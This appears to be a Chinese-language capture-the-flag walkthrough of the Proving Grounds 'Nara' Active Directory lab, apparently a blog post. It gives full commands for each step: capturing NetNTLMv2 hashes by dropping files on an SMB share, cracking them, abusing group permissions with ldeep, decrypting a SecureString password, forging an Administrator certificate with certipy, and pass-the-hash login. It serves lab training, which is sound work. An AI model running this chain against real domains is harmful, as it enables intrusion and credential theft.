Proving Grounds Practice : Nara Walkthrough
Proving Grounds Practice : Nara Walkthrough
Foothole (立足點 ) :
- SMB 丟檔案獲取 NetNTLMv2 破解獲得驗證
- evil-winrm 無法進入,改用遠端 BloodHound 發現對 Remote Access 群組有 GenericAll 權限
- 遠端加入群組,再用一次 evil-winrm 進去了
PE ( 提權 ) :
- 獲得一組 SecureString 密碼,破解獲得新的一組驗證
- 新的驗證可以申請憑證,直接申請一張 Administrtaor 憑證並解出 HASH
- 透過 HASH evil-winrm 進去主機
注意事項 :
- 遠端 BloodHound
- 遠端異動群組成員
- 遠端申請憑證
- 遠端匯出憑證 HASH
第一步 Rustscan,└─$ rustscan -a 192.168.228.30 --scripts none --ulimit 5000 | tee rustscan
53、88、135、445、389 等,看來又是一台 DC
snmp filtered 沒戲,└─$ sudo nmap -sU -p 161 192.168.228.30 | tee snmp
nmap,└─$ sudo nmap -sCV -A -p 53,88,135,139,389,445,464,593,636,3269,3268,3389,5985,9389,49668,49664,49667,49682,49683,49690,49694,49708,49722 192.168.228.30 | tee nmap
nmap with LDAP,└─$ nmap --script "ldap* and not brute" 192.168.228.30 -p 389 -v -Pn -sT
Domain : DC=nara-security,DC=com
dnsHostName: Nara.nara-security.com
編寫 Host File
LDAP 物件搜尋,└─$ ldapsearch -v -x -b "DC=nara-security,DC=com" -H "ldap://192.168.228.30" "(objectclass=*)"
enum4linux,└─$ enum4linux -a 192.168.228.30
smb list check,└─$ smbclient -L \192.168.228.30
發現一個非 DC 預設的資料夾 nara
SMB 登入看看,└─$ smbclient '//192.168.228.30/nara'
Important.txt 內容,主要是說叫你要查看這個分享資料夾,可以提高你的工作效率
IT 資料夾沒東西但是可以寫入
直接升成檔案丟過去看看,└─$ python3 hashgrab.py 192.168.45.178 aries
responder 沒反應
改丟到登入的 nara 資料夾
responder 一樣沒有反應
改丟到 Documents 目錄底下
responder 抓到 NARASEC\Tracy.White 驗證了
存成檔案,hashcat 帶 5600 破解
破解成功得到一組驗證 TRACY.WHITE:zqwj041FGX
crackmapexec 測試一下,└─$ crackmapexec smb 192.168.228.30 -u 'TRACY.WHITE' -p 'zqwj041FGX' -d nara-security.com
驗證資訊有用
evil-winrm 進不去.......GG
開始帶帳號密碼的枚舉
SMB List check 帶帳號密碼看看,└─$ smbclient -L \192.168.228.30 -U 'TRACY.WHITE' --password='zqwj041FGX'
直接遠端 BloodHound,└─$ bloodhound-python -d nara-security.com -u 'TRACY.WHITE' -p 'zqwj041FGX' -gc nara.nara-security.com -c all -ns 192.168.228.30
好用的文章 : https://medium.com/@rajeevranjancom/attacking-active-directory-3109534290e8
先 Mark Owned
一樣看一下權限,發現有 GenericAll 對 Remote Access 群組
看一下 Abuse,簡單講就是可以修改群組成員
前面教學用 net group 或是用 PowerView
主要幾個指令如下
=====================================================================
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred
Get-DomainGroupMember -Identity 'Domain Admins'
=====================================================================
先確認使用者 DN 與 Group Name DN
CN=REMOTE ACCESS,OU=REMOTE,DC=NARA-SECURITY,DC=COM
現在擁有一組驗證但是無法遠端到 Windows 機器,所以要用遠端修改群組成員
參考 ldeep,https://github.com/franc-pentest/ldeep/tree/master
安裝與同步 ldeep,└─$ pip3 install git+https://github.com/franc-pentest/ldeep
下載 __main__.py 遠端將現有使用者 Tracy.White 加入到 Remote Access 群組,└─$ python3 __main__.py ldap -u tracy.white -p 'zqwj041FGX' -d nara-security.com -s ldap://nara-security.com add_to_group "CN=TRACY WHITE,OU=STAFF,DC=NARA-SECURITY,DC=COM" "CN=REMOTE ACCESS,OU=remote,DC=NARA-SECURITY,DC=COM"
再跑一次 evil-winrm,└─$ evil-winrm -i 192.168.228.30 -u 'TRACY.WHITE' -p 'zqwj041FGX'
開始 PE,發現文件夾中有個檔案叫做 automation.txt,抓回來看看
寫 Enrollment Automation Account 然後是一串值,這是標準的 Powershell SecureString
微軟內建使用的一種 Credential
參考這一篇 : https://medium.com/@nikhilsda/encryption-and-decryption-in-powershell-e7a678c5cd7d
指令如下
編輯一下,開始解密
$securepwd = "01000000d08c9ddf0115d1118c7a00c04fc297eb0100000001e86ea0aa8c1e44ab231fbc46887c3a0000000002000000000003660000c000000010000000fc73b7bdae90b8b2526ada95774376ea0000000004800000a000000010000000b7a07aa1e5dc859485070026f64dc7a720000000b428e697d96a87698d170c47cd2fc676bdbd639d2503f9b8c46dfc3df4863a4314000000800204e38291e91f37bd84a3ddb0d6f97f9eea2b" | ConvertTo-SecureString
$Marshal = [System.Runtime.InteropServices.Marshal]
$Bstr = $Marshal::SecureStringToBSTR($securepwd)
$pwd = $Marshal::PtrToStringAuto($Bstr)
Write-host $pwd
獲得一組新的密碼 hHO_S9gff7ehXw
AD 的使用者如下
建立使用者清單測試新拿到的密碼看是哪一個使用者(移掉現有的 Tracy.White)
evil-wimrm 測試一下,└─$ evil-winrm -i 192.168.156.30 -u 'JODIE.SUMMERS' -p 'hHO_S9gff7ehXw'
開始 PE,一樣先跑 BloodHound,遠端執行即可
└─$ bloodhound-python -d nara-security.com -u 'JODIE.SUMMERS' -p 'hHO_S9gff7ehXw' -gc nara.nara-security.com -c all -ns 192.168.156.30
一樣設定 Owned 然後看一下攻擊向量,沒發現有特別的地方
繼續往下看發現一個有趣的群組 "Certificate Service Dcom Access"
這表示這個網域看來是有建立 CA Service,加上我們發現的 automation.txt 文件
內文第一行寫著 " Enrollment Automation Account ",在在顯示了憑證在這個網域中的應用
BloodHound 預設相關的收集是不包含 CA Service 相關的服務
這時候改用 certipy 重新來收集 BloodHound 的資訊,先看一下相關參數
最重要的是 find 這個參數,可以收集 CA 相關資訊 [ Enumerate AD CS ]
相關參數可以參考這一篇 https://github.com/ly4k/Certipy
編輯好指令如下,因為這是靶機所以要將 DNS 指向靶機不然會解析不到該網域名稱
certipy find -u JODIE.SUMMERS -p 'hHO_S9gff7ehXw' -dc-ip nara-security.com -dns-tcp -ns 192.168.156.30 -bloodhound
跳出 Error "Got error: module 'enum' has no attribute '_ decompose'"
查了一下文章這個在 python 3.11 才會發生,前一版 3.10 就沒問題
可以用 python env 建立一個環境跑 3.10 就可以解決
但這裡參考這一篇文章 https://github.com/ly4k/Certipy/issues/108
簡單將就是將 _decompose 函數添加回 /usr/lib/python3.11/enum.py 中
添加 _decompose 後再跑一次看來是成功的
CA 名稱是 "NARA-CA@NARA-SECURITY.COM"
憑證範本名稱是 "Template Name": "NaraUser"
申請 Administrator 憑證,獲取 HASH 值
certipy req -username 'JODIE.SUMMERS' -password 'hHO_S9gff7ehXw' -target nara-security.com -ca NARA-CA -template NARAUSER -upn administrator@nara-security.com -dc-ip 192.168.156.30
certipy auth -pfx administrator.pfx -domain nara-security.com -username administrator -dc-ip 192.168.156.30
獲得 administrator HASH 如下
[*] Got hash for 'administrator@nara-security.com': aad3b435b51404eeaad3b435b51404ee:d35c4ae45bdd10a4e28ff529a2155745
impacket-psexec 直接進去
└─$ impacket-psexec -hashes :d35c4ae45bdd10a4e28ff529a2155745 administrator@192.168.156.30
進去了
留言
張貼留言